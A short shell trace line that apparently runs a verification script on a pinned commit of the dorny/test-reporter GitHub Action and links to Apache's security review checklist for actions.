+ uv run utils/verify-action-build.py dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 Security review checklist: https://github.com/apache/infrastructure-actions#security-review-checklist